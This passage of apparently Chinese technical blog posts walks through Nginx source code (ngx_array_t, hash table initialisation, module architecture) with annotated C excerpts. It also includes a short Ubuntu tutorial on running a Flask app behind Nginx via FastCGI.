    size_t       size;
    ngx_uint_t   nalloc;
    ngx_pool_t  *pool;
} ngx_array_t;



从内存上来看，array是一块连续的内存区域。因此，作为描述数组的结构体需要：


描述起始地址及描述结束地址，此外需要描绘数组元素的大小以便于索引数组的每个元素，以及描述内存区域已使用的大小


这样，ngx_array_t的每个成员变量就很容易理解了：



	
elts用来描述数组使用的内存块的起始地址；

	
size用来描述数组元素的大小；

	
nalloc用来描述内存块最多能容纳的数组元素个数，因此，内存块的结束地址= elts+nalloc*size


	
nelts用来描述当前内存块已存在的元素个数；

	
pool表示ngx_array_t使用的内存所在的内存池。



ngx_array_t的管理和使用


ngx_array_t的使用可以从以下几个方面来分析：


1）ngx_array_t的创建；

2）如何向ngx_array_t添加元素；

3）如何销毁ngx_array_t；



ngx_array_t的创建


因为ngx_array_t使用elts指针来指向ngx_array_t实际使用的内存块，所以，ngx_array_t的创建分成两部分：


1.ngx_array_t结构体本身的创建；

2.ngx_array_t所管理的内存的创建；


在堆上创建ngx_array_t结构体本身，Nginx提供了函数：


ngx_array_t *ngx_array_create(ngx_pool_t *p, ngx_uint_t n, size_t size);



其定义如下：


ngx_array_t *
ngx_array_create(ngx_pool_t *p, ngx_uint_t n, size_t size)
{
    ngx_array_t *a;

    a = ngx_palloc(p, sizeof(ngx_array_t));
    if (a == NULL) {
        return NULL;
    }

    if (ngx_array_init(a, p, n, size) != NGX_OK) {
        return NULL;
    }

    return a;
}



从源代码可知：在堆上创建ngx_array_t结构体时，同时也创建了其所管理的内存。



ngx_array_t结构体本身的创建


两种方式：在堆上创建、在栈上创建



	在堆上创建，需要使用ngx_pool_t来管理内存。

= 在栈上创建，直接创建ngx_array_t局部变量即可。




ngx_array_t所管理内存的创建


向ngx_pool_t申请。


ngx_array_t所管理内存的创建，Nginx提供了函数：


static ngx_inline ngx_int_t
ngx_array_init(ngx_array_t *array, ngx_pool_t *pool, ngx_uint_t n, size_t size)
{
    /*
     * set "array->nelts" before "array->elts", otherwise MSVC thinks
     * that "array->nelts" may be used without having been initialized
     */

    array->nelts = 0;
    array->size = size;
    array->nalloc = n;
    array->pool = pool;

    array->elts = ngx_palloc(pool, n * size);
    if (array->elts == NULL) {
        return NGX_ERROR;
    }

    return NGX_OK;
}



这个函数很容易看明白。


输入在堆上或栈上创建的ngx_array_t结构体、申请内存使用的ngx_pool_t内存池、申请的数组元素数目、元素的大小。


函数将elts指向申请的内存空间首地址。



ngx_array_t添加元素


向ngx_array_t添加元素就是对内存进行操作。只需要提供elts + nelts * size指针，向其写入size大小的数据即为添加元素。


函数声明：


void *ngx_array_push(ngx_array_t *a);



函数定义：


void *
ngx_array_push(ngx_array_t *a)
{
    void        *elt, *new;
    size_t       size;
    ngx_pool_t  *p;
    // 数组元素超过预设值时发生内存重新分配
    if (a->nelts == a->nalloc) {

        /* the array is full */

        size = a->size * a->nalloc;

        p = a->pool;

        if ((u_char *) a->elts + size == p->d.last
            && p->d.last + a->size <= p->d.end)
        {
            /*
             * the array allocation is the last in the pool
             * and there is space for new allocation
             */

            p->d.last += a->size;
            a->nalloc++;

        } else {
            /* allocate a new array */

            new = ngx_palloc(p, 2 * size);
            if (new == NULL) {
                return NULL;
            }
            // 直接将原来的内容拷贝到新内存块中，原来的内存没有重新利用
            ngx_memcpy(new, a->elts, size);
            a->elts = new;
            a->nalloc *= 2;
        }
    }

    elt = (u_char *) a->elts + a->size * a->nelts;
    a->nelts++;

    return elt;
}



调用ngx_array_push获取分配给插入元素的内存地址。如果元素个数超过预设值，发生重分配内存。原来的内存没有处理，因此会发生浪费。


另外Nginx还提供了ngx_array_push_n这个函数来处理插入n个元素的情况。


可知，ngx_array_push是ngx_array_push_n中n=1是的特殊情况。他们的代码也基本相同。C语言不支持默认值参数，否则，这两个函数可以合成一个。



ngx_array_t销毁


根据ngx_array_t创建的分析，可知，ngx_array_t的销毁其实就是不去使用ngx_array_t。


因为，如果在堆上创建ngx_array_t，那么有ngx_pool_t负责管理内存，如果在栈上创建ngx_array_t则变量自动销毁。


而ngx_array_t所管理的内存有ngx_pool_t来负责管理。所以，只要不再使用ngx_array_t或者将ngx_array_t指针置空，则ngx_array_t销毁。


但是Nginx提供了一个用来destory的函数，我们来看看它做了些什么。


void
ngx_array_destroy(ngx_array_t *a)
{
    ngx_pool_t  *p;

    p = a->pool;
    // 释放ngx_array_t所管理的内存
    if ((u_char *) a->elts + a->size * a->nalloc == p->d.last) {
        p->d.last -= a->size * a->nalloc;
    }
    // 释放在堆中的ngx_array_t结构体本身
    if ((u_char *) a + sizeof(ngx_array_t) == p->d.last) {
        p->d.last = (u_char *) a;
    }
}



这个函数可能会发生两种重新回收利用内存的情况：



	当ngx_array_t所管理的内存正好是ngx_pool_t最近一次分配的内存。

	当堆中的ngx_array_t结构体变量本身正好是ngx_pool_t最近一次分配的内存。



所以，在使用完ngx_array_t之后，最好调用该函数，虽然它可能什么都会做，但是也可能进行内存池内存的重新利用，减少内存浪费。
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最近想学点 Nginx，发现大家一般都是自己编译。自己编译也不难，但是考虑到 Ubuntu 自带的安装包就已经够用了，所以姑且先用起来再说。

安装 Nginx

Ubuntu 提供了四种 nginx 的安装包，功能由简到繁依次为：nginx-light，nginx-core，nginx-full，nginx-extras。

安装前，可以用 aptitude show 查看各个安装包支持的模块。比如 nginx-extras 比 nginx-full 多了 perl 和 lua 支持。

权衡之后，发现最佳选择为 nginx-full，也就是「标准版」。

$ sudo apt-get install nginx-full

nginx-full:
     nginx-common (= 1.9.3-1ubuntu1), libc6 (>= 2.14), libexpat1 (>= 2.0.1), libgd3 (>=
     2.1.0~alpha~), libgeoip1, libpam0g (>= 0.99.7.1), libpcre3, libssl1.0.0 (>= 1.0.2~beta3),
     libxml2 (>= 2.7.4), libxslt1.1 (>= 1.1.25), zlib1g (>= 1:1.2.0)

如果不清楚到底安装了哪些文件，可以通过 dpkg --listfiles 命令查看：

adam@t450s:~/study/nginx$ dpkg --listfiles nginx-full
/.
/usr
/usr/sbin
/usr/sbin/nginx
/usr/share
/usr/share/doc
/usr/share/doc/nginx-full
/usr/share/doc/nginx-full/copyright
/usr/share/doc/nginx-full/changelog.Debian.gz
/usr/share/man
/usr/share/man/man8
/usr/share/man/man8/nginx.8.gz
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/nginx-full

可以顺带安装一下文档：

$ sudo apt-get install nginx-doc

Nginx 命令

重启等操作可以通过 /etc/init.d/nginx 执行：

$ sudo /etc/init.d/nginx restart

这是一个 shell 脚本（/etc/init.d/ 目录下都是 shell 脚本），有如下命令可用：

configtest    reload        rotate        status        upgrade
force-reload  restart       start         stop

当然，直接用 /usr/sbin/nginx 也行，通过 -s 给 nginx 进程发送信号。

用 Flask 写一个应用

Flask 是 Python 的微型 Web 框架，之前在文章里有过介绍，现在写一个最简单的应用。

在 HOME 下建一个项目目录：

adam@t450s:~$ mkdir flaskr

在 flaskr 目录下创建文件 app.py，内容为：

# encoding: utf-8

from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello World!'

再创建文件 flaskr.fcgi，内容为：

#!/usr/bin/python

from flup.server.fcgi import WSGIServer
from app import app

if __name__ == '__main__':
    WSGIServer(app, bindAddress='/tmp/flaskr-fcgi.sock').run()

这就是 FastCGI wrapper。需要安装 Flup 以支持 FastCGI：

$ sudo pip install flup

注意启动 WSGI Server 时，绑定的 socket 文件。这个文件后续配置 Nginx 时要用到，它是 Flup 和 Nginx 通信的桥梁。

为 flaskr.fcgi 文件添加执行权限，不加也行，反正它就是个 Python 文件。

$ chmod +x flaskr.fcgi

配置 Nginx

简单起见，直接编辑 nginx.conf 文件：

$ sudo vim /etc/nginx/nginx.conf

添加一个 server 配置到 http 模块：

http {
    server {
        listen 80;
        server_name localhost;

        location / {
            try_files $uri @flaskr;
        }
        location @flaskr {
            include fastcgi_params;
            fastcgi_param SCRIPT_NAME "";
            fastcgi_param PATH_INFO $fastcgi_script_name;
            fastcgi_pass unix:/tmp/flaskr-fcgi.sock;
        }
    }
}

最后一行指定了 Nginx 和 FastCGI 通信的 socket 文件：

fastcgi_pass unix:/tmp/flaskr-fcgi.sock;

运行程序

启动 FastCGI wrapper：

adam@t450s:~/flaskr$ ./flaskr.fcgi 

或者：

adam@t450s:~/flaskr$ python flaskr.fcgi 

切换到 root 用户，修改 socket 文件的权限：

adam@t450s:/tmp$ sudo su
[sudo] adam 的密码： 
root@t450s:/tmp# chmod 777 flaskr-fcgi.sock

否则 Nginx 无权访问这个 socket 文件。查看 /var/log/nginx/error.log 的话，会看到如下错误：

2015/11/09 22:23:21 [crit] 15357#15357: *1 connect() to unix:/tmp/flaskr-fcgi.sock failed (13: Permission denied) while connecting to upstream, client: 127.0.0.1, server: localhost, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/tmp/flaskr-fcgi.sock:", host: "localhost"

修改 socket 文件的权限后，Nginx 好像并不需要重启。

访问 http://localhost/，不出意外即可看到 "Hello World!"

另请参阅：http://segmentfault.com/a/1190000002652109
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本篇的上篇为 Nginx 源码分析：ngx_hash_t（上）。

建议先读完上篇再来读下篇。




上篇回顾了hash表的基础概念，分析了Nginx中hash表的内存模型及逻辑模型，从而引出了其核型数据结构ngx_hash_elt_t和ngx_hash_t，并从设计的角度解释了如何初始化这两个结构体。


本篇主要分析，在Nginx源码中是如何初始化这两个结构体的。


主体思路



	分析Nginx中使用的哈希函数，围绕初始化时使用的ngx_hash_key_t结构体展开。

	分析Nginx如何估算所需内存大小，如何分配内存。



相信仔细看过上篇后，对这两个问题已经心里有底了。



ngx_hash_key_t结构体


上篇说过，Nginx中hash表是只读的，因此，可以提前对需要多大的内存进行预估。

在Nginx中，提前将索引值、对应hash值，及内容计算出来，放入一个ngx_hash_key_t结构体中。


typedef struct {
    ngx_str_t         key;        // 索引值
    ngx_uint_t        key_hash;   // 对应hash值
    void             *value;      // 内容
} ngx_hash_key_t;



那么，如何计算一个字符串key的哈希值呢？答案是哈希函数。
Nginx提供的哈希函数有两个：


#define ngx_hash(key, c)   ((ngx_uint_t) key * 31 + c)

ngx_uint_t
ngx_hash_key(u_char *data, size_t len)
{
    ngx_uint_t  i, key;

    key = 0;

    for (i = 0; i < len; i++) {
        key = ngx_hash(key, data[i]);
    }

    return key;
}

ngx_uint_t
ngx_hash_key_lc(u_char *data, size_t len)
{
    ngx_uint_t  i, key;

    key = 0;

    for (i = 0; i < len; i++) {
        key = ngx_hash(key, ngx_tolower(data[i]));
    }

    return key;
}



其中ngx_hash_key_lc是大小写无关，ngx_hash_key是大小写相关的。


一般情况下，我们会得到一个ngx_hash_key_t的数组。

例如HTTP请求的通用首部：


Host:
Connection:
User-Agent:
...



每一条首部对应一个ngx_hash_key_t。这样得到一个关于HTTP请求的首部哈希数组。


有了这些信息，就可以提前预估根据这个数组生成的哈希表究竟需要多大的内存。



ngx_hash_init_t结构体


关于Nginx的哈希表，上篇提到过两点：


1）Nginx的哈希表本身是向ngx_pool_t申请的一块连续的内存，因此初始化哈希表需要知道ngx_pool_t。

2）Nginx的哈希表解决哈希冲突采用了hash桶的办法，因此，在逻辑上，哈希表是一个二维数组。这个数组的大小受两个因素影响：桶的大小和桶的个数。


一般来讲，桶的个数越大，所需要桶的大小越小。


因此，这个在初始化时预先对内存进行估计的结构体ngx_hash_init_t是长成这个样子的：


typedef ngx_uint_t (*ngx_hash_key_pt) (u_char *data, size_t len);

typedef struct {
    ngx_hash_t       *hash;            // 用于管理哈希表的结构体
    ngx_hash_key_pt   key;             // 哈希函数

    ngx_uint_t        max_size;        // 哈希桶个数的最大值
    ngx_uint_t        bucket_size;     // 哈希桶的大小

    char             *name;            // 哈希表的名字
    ngx_pool_t       *pool;            // 使用的内存池
    ngx_pool_t       *temp_pool;       // 估算时临时使用的内存池
} ngx_hash_init_t;



其中*hash用于指向创建的哈希表管理结构体ngx_hash_t，当这个值为NULL时，在完成初始化时，回从内存池中获取一块内存。



	
max_size是限制生成的哈希表中桶的个数上限制。这个值越大，桶的大小越小，因此冲突项越少，查询速度更快，但是浪费的内存会增多。

	
bucket_size用来限制每个桶的大小上限值。



这两个参数是给哈希表生成时提供一个上限参考，并不是哈希表生成的最终大小。



Nginx哈希表的生成


铺垫了这么久，终于进入正题。-_-!!


Nginx的哈希表生成函数声明如下：


ngx_int_t 
ngx_hash_init(ngx_hash_init_t *hinit, ngx_hash_key_t *names,ngx_uint_t nelts);



其中，*hinit是初始化的限制条件，详见上一小节的说明；
*names是Nginx根据索引值，提前算出来的哈希值数组，详见上上一小节；
nelts是*names数组的大小。


总体来说：这个函数做了三件事情：



	根据输入的ngx_hash_key_t结构体数组及ngx_hash_init_t结构体，估算出hash表所需的hash桶的个数及每个hash桶的大小；

	根据算出的hash桶的个数及hash桶的大小，向内存池中申请空间；

	将ngx_hash_key_t数组的内容装入生成的hash表中。



因为ngx_hash_init的函数定义很长，为了更好的说明问题，我按照次序捡取主要内容一段一段拆开来分析。感兴趣的可以看Ngx_hash.c的源码完整版


校验bucket_size值


首先，对传入的hinit及names中的bucket_size大小进行校验。

条件是，hinit中的bucket_size >= sizeof(ngx_hash_elt_t)


#define ngx_align(d, a)     (((d) + (a - 1)) & ~(a - 1))

#define NGX_HASH_ELT_SIZE(name)                                               \
    (sizeof(void *) + ngx_align((name)->key.len + 2, sizeof(void *)))

for (n = 0; n < nelts; n++) {
        if (hinit->bucket_size < NGX_HASH_ELT_SIZE(&names[n]) + sizeof(void *))
        {
            ngx_log_error(NGX_LOG_EMERG, hinit->pool->log, 0,
                          "could not build the %s, you should "
                          "increase %s_bucket_size: %i",
                          hinit->name, hinit->name, hinit->bucket_size);
            return NGX_ERROR;
        }
    }



可以看到，NGX_HASH_ELT_SIZE的最小值为 sizeof(void*) + sizeof(void*)，因此bucket_size的最小值是两个指针的大小。


这里需要解释一下ngx_align(d,a)这个宏的作用：将d取a的向上整数倍。例如，b=5，a=4，那么ngx_align(5,4)的结果就是8。


在实现原理上，利用了二进制计算的技巧。这里稍微讲一下（已经懂的可以跳过）：


===========我是华丽的分割线===============

当a为2的某个幂的值时（例如a=2^2=4，或a=2^3=8），有以下特点：


a = 4:  二进制： 0000 0100       从右起，第三位为1，剩下全为0;
a = 8:  二进制： 0000 1000       从右起，第四位为1, 剩下全为0；
a = 16: 二进制:  0001 0000       从右起，第五位为1，剩下全为0；

a - 1 = 3:  二进制： 0000 0011   从右起，第三位之前，全是1；
a - 1 = 7:  二进制： 0000 0111   从右起，第四位之前，全是1；
a - 1 = 15: 二进制： 0000 1111   从右起，第五位之前，全是1；

~(a - 1) = ~3:  二进制： 1111 1100   从右起，第二位之后，全是1；
~(a - 1) = ~7:  二进制： 1111 1000   从右起，第三位之后，全是1；
~(a - 1) = ~15: 二进制： 1111 0000   从右起，第四位之后，全是1；




(理解的关键点)一个数，一定是这个数的二进制从右起第一个不为零的位所表示的数的整数倍

比如：


a = 12:  二进制： 0000 1100 
从右起，第一个不为零的位所表示的整数为 0000 0100 即 4
那么，a = 12 一定是 4 的整数倍



如果，我们需要任意的一个数a对4取整怎么办呢？很简单，只需要把a从右起的若干位置0就可以了。

比如：


a = 13: 二进制：0000 1101
向0000 0100 即 4 取整，只需要将 0000 1101从右起，前两位置0，即可得到，0000 1100 即12

这个置0的过程可以表达为0000 1101 &  1111 1100
而 1111 1100 = ~(4 - 1)，因此，13 对 4 取整的二进制运算即为：13 & ~(4 - 1)



可以看到，这样的二进制运算的结果是向下取整数倍。

但是，在申请内存时，只能比需求的大，而不能比需求的小，因此需要向上取整数倍：


对于一个任意的数d和一个2的任意次幂a：
d对a向下取整的二进制运算为：d & ~(a -1)
d对a向上取整的二进制运算为：(d + (a - 1)) & ~(a - 1)



相信到这里，已经可以很容易理解ngx_align这个宏的含义了


#define ngx_align(d, a)     (((d) + (a - 1)) & ~(a - 1))



===========我是华丽的分割线===============


估算hash桶的个数及hash桶的大小


准备工作


现在我们手头上有所有索引值及其对应的hash值所组成的ngx_hash_key_t数组，这个数组的大小表示将来形成的hash表中有效元素的数目。


那么，可知，hash桶数目 * 每个hash桶能放置元素的个数 > ngx_hash_key_t 数组大小


从上一小节的分析可知：bucket_size的最小值为2 * sizeof(void*)，那么，预设的ngx_hash_init_t中的bucket_size / 2 * sizeof(void*)就能得到每个桶所能放置的冲突项的个数最大值。


因此，ngx_hash_key_t的数组的大小值nelts / (bucket_size / 2 * sizeof(void*))就是预估的hash表所需hash桶数目的最小值。


因此，接下来Nginx有这么一段：


    bucket_size = hinit->bucket_size - sizeof(void *);
    // start 为预估hash桶数目的最小值，因为会随着计算不断向上增加，所以命名为start
    start = nelts / (bucket_size / (2 * sizeof(void *)));
    start = start ? start : 1;

    if (hinit->max_size > 10000 && nelts && hinit->max_size / nelts < 100) {
        start = hinit->max_size - 1000;
    }



这部分代码可以看作是在估算hash表中hash桶数目的最小值的合理值。


开始估算
ngx_hash_key_t数组中含有所有索引值及其对应的哈希值，为了将hash表的hash桶数目控制在一定数量内，需要对ngx_hash_key_t内的哈希值进行取模运算。


取模运算会将结果控制在一定整数范围内。

比如：key_hash % size，表示运算得到的结果一定在[0, size)区间内。


这样，对于上述代码得到的start，我们就可以从start开始到hinit->max_size结束，挨个尝试，看看每个start所算出的bucket_size是否符合要求（<= hinit->bucket_size）


代码如下：


// 从start 开始，到hints->max_size为止，挨个尝试
for (size = start; size <= hinit->max_size; size++) {

        ngx_memzero(test, size * sizeof(u_short));

        for (n = 0; n < nelts; n++) {
            if (names[n].key.data == NULL) {
                continue;
            }
            // 取模运算，将hash值控制在当前size范围内
            key = names[n].key_hash % size;
            // 累加计算每个hash值对应的冲突项占用的hash桶空间
            test[key] = (u_short) (test[key] + NGX_HASH_ELT_SIZE(&names[n]));
            // 当某个hash值所有冲突项占用的hash桶空间超过上限，
            // 表示当前hash桶个数设置太小，进入下一轮循环
            if (test[key] > (u_short) bucket_size) {
                goto next;
            }
        }
        // 找到合适的hash桶个数，接下来进入申请空间及初始化结构体阶段
        goto found;

    next:

        continue;
    }



当代码运行到goto found时，表示找到合适的hash桶数目，可以进入下一阶段：申请内存空间及初始化结构体了。


根据估算的hash表的大小参数，向内存池申请空间


根据上一篇文章对于ngx_hash_t内存的描述，可知需要申请的内存空间分成两部分：


1）用于管理hash表的ngx_hash_t结构体，及用于指向内存不同分组的ngx_hash_elt_t *数组。根据上一小节的估算，ngx_hash_elt_t *数组的大小为size。

2）用于存放hash表的连续内存块，其大小为所有hash桶占用空间的总和。


这部分的源代码如下：


    // 清空上次为了估算hash桶数目所存储在test中的数据
    for (i = 0; i < size; i++) {
        test[i] = sizeof(void *);
    }
    // 重新计算各个hash值所占用的内存空间
    for (n = 0; n < nelts; n++) {
        if (names[n].key.data == NULL) {
            continue;
        }

        key = names[n].key_hash % size;
        test[key] = (u_short) (test[key] + NGX_HASH_ELT_SIZE(&names[n]));
    }

    len = 0;
    // 将所有hash值占用的内存空间加和，得到总共需要的内存空间len
    for (i = 0; i < size; i++) {
        if (test[i] == sizeof(void *)) {
            continue;
        }

        test[i] = (u_short) (ngx_align(test[i], ngx_cacheline_size));

        len += test[i];
    }



对所有的ngx_hash_key_t重新计算了一遍，得到了存放所有数据需要的内存空间len


然后，就可以向ngx_pool_t内存池申请空间了。


if (hinit->hash == NULL) {
        // 在堆上创建hash管理结构体ngx_hash_t，及ngx_hash_elt_t*
        hinit->hash = ngx_pcalloc(hinit->pool, sizeof(ngx_hash_wildcard_t)
                                             + size * sizeof(ngx_hash_elt_t *));
        if (hinit->hash == NULL) {
            ngx_free(test);
            return NGX_ERROR;
        }
        // 将ngx_hash_t** 指针指向hash桶管理结构体
        buckets = (ngx_hash_elt_t **)
                      ((u_char *) hinit->hash + sizeof(ngx_hash_wildcard_t));

    } else {
        buckets = ngx_pcalloc(hinit->pool, size * sizeof(ngx_hash_elt_t *));
        if (buckets == NULL) {
            ngx_free(test);
            return NGX_ERROR;
        }
    }
    // 向内存池申请hash表所使用的内存空间
    elts = ngx_palloc(hinit->pool, len + ngx_cacheline_size);
    if (elts == NULL) {
        ngx_free(test);
        return NGX_ERROR;
    }

    elts = ngx_align_ptr(elts, ngx_cacheline_size);



这段代码的逻辑分成两部分：


1）向内存池申请管理hash表的结构体所使用的内存空间，包括ngx_hash_t结构体及ngx_hash_elt_t*指针数组。

2）向内存池申请hash表所使用的内存空间，直接使用之前计算的len申请。当然，Nginx的源码中为了效率，进行了对齐操作。


正确初始化管理结构体的内容


OK， 有了管理结构体，有了hash表，最后的任务就是将管理结构体的各个指针指向正确的地址，各个变量赋于正确的值即可。


    // 将ngx_hash_key_t* 数组指向各个内存段
    for (i = 0; i < size; i++) {
        if (test[i] == sizeof(void *)) {
            continue;
        }

        buckets[i] = (ngx_hash_elt_t *) elts;
        elts += test[i];

    }

    for (i = 0; i < size; i++) {
        test[i] = 0;
    }

    // 向hash表中填入正确的内容
    for (n = 0; n < nelts; n++) {
        if (names[n].key.data == NULL) {
            continue;
        }

        key = names[n].key_hash % size;
        elt = (ngx_hash_elt_t *) ((u_char *) buckets[key] + test[key]);

        elt->value = names[n].value;
        elt->len = (u_short) names[n].key.len;

        ngx_strlow(elt->name, names[n].key.data, names[n].key.len);

        test[key] = (u_short) (test[key] + NGX_HASH_ELT_SIZE(&names[n]));
    }

    for (i = 0; i < size; i++) {
        if (buckets[i] == NULL) {
            continue;
        }

        elt = (ngx_hash_elt_t *) ((u_char *) buckets[i] + test[i]);

        elt->value = NULL;
    }

    ngx_free(test);

    // hash表管理结构体赋于正确的内容
    hinit->hash->buckets = buckets;
    hinit->hash->size = size;



这样，就完成了初始化hash表的整个工作。


总结


个人经验：理解ngx_hash_t的关键点如下：


1）Nginx的哈希表是只读的，所以采用了预先估算hash表所需占用内存的大小的办法。源码中大多数的代码是跟预估hash表大小相关的。

2）Nginx的哈希表的内存空间采用内存池管理，因此理解其内存模型是理解代码逻辑的关键。内存模型请查看上一篇文章。

3）Nginx的哈希表的核心是hash表的管理结构体ngx_hash_t、ngx_hash_elt_t*数组、及hash表内存空间分配。


个人觉得，Nginx的高效并不是来自于Nginx有什么屠龙大法，而是来自于针对性很强的优化，ngx_hash_t就是一个很好的例子。

在ngx_hash_t中，随处可见各种优化，不论是这种特殊的hash表结构设计，还是内存分配上的各种对齐，都很值得学习。
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源文件路径


src\core\ngx_conf_file.h
src\core\ngx_conf_file.c



主要内容


本篇的主要目的在于分析Nginx的配置功能。由于Nginx的配置基本就是对模块的配置，因此，在讨论配置功能之前，需要先分析Nginx的模块功能。


对于模块功能，这里的重点不在于某个模块的细节，而在于分析Nginx的模块架构是如何设计的。


类似地，因为对于Nginx的配置文件，没有资料比官方文档上说得更明白，所以，这里的重点并不是对配置文件，而是分析Nginx的配置功能是如何设计的。


好了，开始吧。


模块功能


Nginx的基础架构是高度模块化的。可以从多个方面来观察Nginx的模块化。


官方文档首页的整个下半页是Nginx自身所有模块的列表。从这里可以看到Nginx的模块轮廓。


如果从源码安装Nginx，那么首先执行的configure脚本的配置参数里，很大一部分是用来管理是否安装某个模块的。当然，Nginx运行必备的模块是必须安装的，因此，并不会出现在configure的配置选项里。


Nginx本身由多个基本的模块构成，其中，核心的部分是一个叫ngx_core_module的模块。当然，对于一个web服务器，仅仅有一个核心是不够的，还需要大量的“辅助模块”。这有点像Linux的设计，一堆外围设施作为模块与Linux内核构成整个Linux系统。


很自然的会想到，Nginx的这种模块化设计是支持第三方插件的。这种设计也大大增加了Nginx的弹性和能力。


模块的组织和管理


既然Nginx是由许多模块构成的，那么，如何组织和管理这些模块是首先要关注的问题。在Nginx中，使用全局数组ngx_modules保存和管理所有Nginx的模块。


如何做到的呢？


首先，Nginx的众多模块被分成两类：必须安装的模块和可以安装的模块。



	
必须安装的模块是保证Nginx正常功能的模块，没得选择，这些模块会出现在ngx_modules里。比如ngx_core_module


	
可以安装的模块通过configure的配置和系统环境，被有选择的安装，这些模块里，被选择安装的模块会出现在ngx_modules数组中。



当configure执行结束后，会生成一个objs\ngx_modules.c的源代码文件：

文件内容随configure配置不同而不同，例如：


#include <ngx_config.h>
#include <ngx_core.h>

extern ngx_module_t  ngx_core_module;
extern ngx_module_t  ngx_errlog_module;
extern ngx_module_t  ngx_conf_module;
extern ngx_module_t  ngx_events_module;
extern ngx_module_t  ngx_event_core_module;
extern ngx_module_t  ngx_epoll_module;
extern ngx_module_t  ngx_regex_module;
extern ngx_module_t  ngx_http_module;
extern ngx_module_t  ngx_http_core_module;
extern ngx_module_t  ngx_http_log_module;
extern ngx_module_t  ngx_http_upstream_module;
extern ngx_module_t  ngx_http_static_module;
extern ngx_module_t  ngx_http_autoindex_module;
extern ngx_module_t  ngx_http_index_module;

...

ngx_module_t *ngx_modules[] = {
    &ngx_core_module,
    &ngx_errlog_module,
    &ngx_conf_module,
    &ngx_events_module,
    &ngx_event_core_module,
    &ngx_epoll_module,
    &ngx_regex_module,
    &ngx_http_module,
    &ngx_http_core_module,
    &ngx_http_log_module,
    &ngx_http_upstream_module,
    &ngx_http_static_module,
    &ngx_http_autoindex_module,
    &ngx_http_index_module,
   ...
    NULL
};



由于数组存放的是同一类型的数据。因此，必须有一个模块基类来抽象的定义所有模块。这个抽象基类就是ngx_module_t。


因此，可以看到ngx_modules数组里存放的是ngx_module_t *类型指针，并且，最后一个一定是空指针NULL。


将最后一个元素置为空指针NULL，是为了遍历数组的时候，标记数组结束，这样不必在使用时记录数组大小。


例如:


for (i = 0; ngx_modules[i]; i++) {
    ...
}



使用extern ngx_module_t  ngx_core_module;使编译器在编译的时候不去处理ngx_core_module，在链接阶段，再将ngx_core_module链接到正确的地址中。


类似地，在源文件core\ngx_conf_file.h的末尾声明外部ngx_modules[]


extern ngx_module_t  *ngx_modules[];



由于core\ngx_conf_file.h会被当作公共头文件被包含到其他文件中，因此，ngx_modules是一个全局变量。


======分割线=======
在编译阶段，objs\ngx_modules.c文件中的那一堆extern变量及ngx_modules变量都会被初始化。原因在于，这些变量都属于全局变量，将会被静态初始化。

======分割线=======


这样，有了全局数组ngx_modules，就可以获取所有模块的指针，从而操作所有模块。对所有模块的管理和操作也由此展开。


所有模块的基类 ngx_module_t


所有模块都是ngx_module_t类型的变量，其定义如下：


struct ngx_module_s {
    ngx_uint_t            ctx_index;
    ngx_uint_t            index;

    ngx_uint_t            spare0;
    ngx_uint_t            spare1;
    ngx_uint_t            spare2;
    ngx_uint_t            spare3;

    ngx_uint_t            version;

    void                 *ctx;
    ngx_command_t        *commands;
    ngx_uint_t            type;

    ngx_int_t           (*init_master)(ngx_log_t *log);

    ngx_int_t           (*init_module)(ngx_cycle_t *cycle);

    ngx_int_t           (*init_process)(ngx_cycle_t *cycle);
    ngx_int_t           (*init_thread)(ngx_cycle_t *cycle);
    void                (*exit_thread)(ngx_cycle_t *cycle);
    void                (*exit_process)(ngx_cycle_t *cycle);

    void                (*exit_master)(ngx_cycle_t *cycle);

    uintptr_t             spare_hook0;
    uintptr_t             spare_hook1;
    uintptr_t             spare_hook2;
    uintptr_t             spare_hook3;
    uintptr_t             spare_hook4;
    uintptr_t             spare_hook5;
    uintptr_t             spare_hook6;
    uintptr_t             spare_hook7;
};



各成员变量含义如下：


1. type


type变量是指模块的类型。Nginx中模块的类型定义如下：


#define NGX_CORE_MODULE      0x45524F43  /* "CORE" */
#define NGX_CONF_MODULE      0x464E4F43  /* "CONF" */
#define NGX_EVENT_MODULE     0x544E5645  /* "EVNT" */
#define NGX_HTTP_MODULE      0x50545448  /* "HTTP" */
#define NGX_MAIL_MODULE      0x4C49414D  /* "MAIL" */



也就是说，Nginx共有5中模块类型CORF、CONF、EVNT、HTTP、MAIL。


2. index


index变量是指，该模块在ngx_modules数组中的次序，或者说下标。该变量在Nginx执行初始化的时候被初始化，初始化代码位于core\nginx.c的main函数中：


    ngx_max_module = 0;
    for (i = 0; ngx_modules[i]; i++) {
        ngx_modules[i]->index = ngx_max_module++;
    }



3. ctx_index


ctx_index是指，在ngx_modules数组中，该模块在相同类型的模块中的次序。


例如，ngx_modules数组中有多个类型为NGX_EVENT_MODULE的模块，那么其中一个模块的ctx_index初始化如下：


// 源码文件event\ngx_event.c
    ngx_event_max_module = 0;
    for (i = 0; ngx_modules[i]; i++) {
        if (ngx_modules[i]->type != NGX_EVENT_MODULE) {
            continue;
        }
        ngx_modules[i]->ctx_index = ngx_event_max_module++;
    }



4. ctx


ctx是void *指针型变量，这是指向与模块相关的上下文。


这里先解释一下什么叫与模块相关的上下文。


上下文这个概念一般可以理解为运行环境，那么与模块相关的上下文就是指模块运行环境。换句话说，就是一些参数的配置信息。因为配置一般意味着设置，而设置的对象就是模块的运行环境。比如，ngx_core_modules运行时的user和group，就属于运行环境，同时，也属于配置项。


由于模块的参数一般比较多，正确设置参数的配置需要很多操作。所以，上下文其实也意味着一组操作，这组操作的目的在于根据配置，正确设置模块的参数信息。同时，这也意味着，不同的模块，这组操作是不同的，因此，这里需要将ctx设置为void *指针，来进行泛型的操作。


以ngx_core_module为例，其ctx指向的上下文是这个样子的：


static ngx_core_module_t  ngx_core_module_ctx = {
    ngx_string("core"),
    ngx_core_module_create_conf,
    ngx_core_module_init_conf
};



其中ngx_core_module_t的定义如下：


typedef struct {
    ngx_str_t             name;
    void               *(*create_conf)(ngx_cycle_t *cycle);
    char               *(*init_conf)(ngx_cycle_t *cycle, void *conf);
} ngx_core_module_t;



而这组操作中的ngx_core_module_init_conf函数中，初始化了一个ngx_core_conf_t的结构体。


因此，可知，void *ctx指向了一组操作，这组操作的目的在于初始化一个与模块配置信息相关的结构体。

这里涉及到了三个结构体：



	
ngx_module_t  ngx_core_module：用来表示模块本身，保存在ngx_modules数组中；

	
ngx_core_conf_t core_conf：用来保存对该模块的配置信息；

	
